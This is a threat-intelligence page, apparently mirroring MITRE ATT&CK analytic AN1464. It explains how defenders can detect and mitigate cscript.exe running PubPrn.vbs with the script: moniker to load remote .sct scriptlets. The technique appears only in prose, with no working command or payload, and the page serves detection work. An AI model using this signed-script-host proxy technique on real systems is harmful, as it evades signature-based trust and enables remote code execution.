AN1464: Analytic 1464
Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.
Analyst context for executives and security teams
This analytic describes a Windows behavior where a signed Microsoft script host runs PubPrn.vbs with a script moniker to load a remote .sct scriptlet. For leaders, the material issue is not the specific script name alone; it is whether the organization can see and govern trusted Windows scripting components being used to fetch and run remote content in a way that may evade simple signature-based trust assumptions.
Executive priority
Prioritize this as a validation point for Windows execution monitoring and control of trusted scripting utilities. Security leaders should ask whether SOC telemetry can distinguish legitimate administrative scripting from signed-host execution that reaches remote scriptlet content, and whether incident responders have evidence to reconstruct the parent process, command line, remote source, and executed script context. This is relevant to control assurance, audit evidence for endpoint monitoring, and business resilience because gaps here can leave remote code execution paths under-observed.
Technical view
For Windows endpoints, validate visibility into cscript.exe execution, command-line arguments, parent/child process context, PubPrn.vbs references, use of the script: moniker, and remote .sct retrieval indicators. Because ATT&CK provides no official detection logic and no relationship context for this analytic, detection engineering should focus on environment-specific baselining and high-fidelity combinations rather than broad alerts on cscript.exe alone.
Likely telemetry
- Windows process creation events including full command line
- Parent and child process relationships for cscript.exe
- Script execution telemetry for Windows script hosts
- File path and argument evidence referencing PubPrn.vbs
- Network connection or proxy logs showing remote scriptlet retrieval from Windows endpoints
Detection direction
- Validate that process creation logging captures full command-line content for cscript.exe on Windows systems.
- Look for combined indicators: cscript.exe, PubPrn.vbs, script: moniker usage, and remote .sct content rather than any single weak signal.
- Baseline legitimate administrative use of Windows script hosts to reduce false positives.
- Correlate endpoint process telemetry with network or proxy evidence for remote scriptlet access.
- Review blind spots where command-line logging, script host telemetry, or outbound web/proxy logs are missing or not retained.
Mitigation priorities
- Inventory and govern legitimate use of Windows script hosts and legacy administrative scripts.
- Ensure endpoint logging policies capture process command lines and script host activity before relying on detection.
- Apply least-privilege and administrative execution controls so ordinary users cannot freely invoke high-risk scripting paths where not needed.
- Restrict or monitor outbound access from endpoints to remote script content locations according to business need.
- Use application control or script execution policy where appropriate, while testing for operational impact.
Analyst notes and limits
The supplied ATT&CK object is a detection analytic, not a technique entry, and it has no supplied tactics, relationships, or official detection logic. The strongest defensible takeaway is to validate telemetry and controls around signed Windows script host execution that loads remote scriptlet content.
This take is limited to the supplied STIX fields and external reference. It does not establish active exploitation, adversary attribution, prevalence, impact, or guaranteed detection. Local asset roles, administrative practices, logging configuration, and network architecture are required to determine priority and alert fidelity.
Analytic 1464
Execution of PubPrn.vbs via cscript.exe using the 'script:' moniker to load and execute a remote .sct scriptlet file, bypassing signature validation and proxying remote payloads through a signed Microsoft script host.
How security teams should use this page
Treat this object as behavior context, not an attribution claim. Validate the related groups, software, data sources, and mitigations against official ATT&CK relationships and your own telemetry before making control-coverage decisions.
All related ATT&CK context
No relationships are available in the current normalized data for this object.
Object version and sync metadata
The fields below describe the current mirrored snapshot. When Glexia retains multiple ATT&CK source imports, you can open the table to compare the same object across releases (hashes and MITRE timestamps). For MITRE’s own release notes and roadmap, see ATT&CK resources — Updates .
Imported snapshots across ATT&CK releases (1)
| Release | Bundle imported | Object version | Modified | Status | Raw hash |
|---|---|---|---|---|---|
| 19.1 | 1.0 | Current bundle | a9cdcb4fb2ea… |
Mirrored ATT&CK source object
The raw object is retained through the mirrored ATT&CK source bundle and object hash. The raw endpoint returns the exact object from the mirrored bundle when available.
External references and citations
MITRE external references are preserved separately from Glexia analysis so citations remain traceable to their original source records.
-
[1]
mitre-attack AN1464Open source URL
Source: MITRE ATT&CK®. © 2026 The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation. Glexia is not affiliated with or endorsed by MITRE.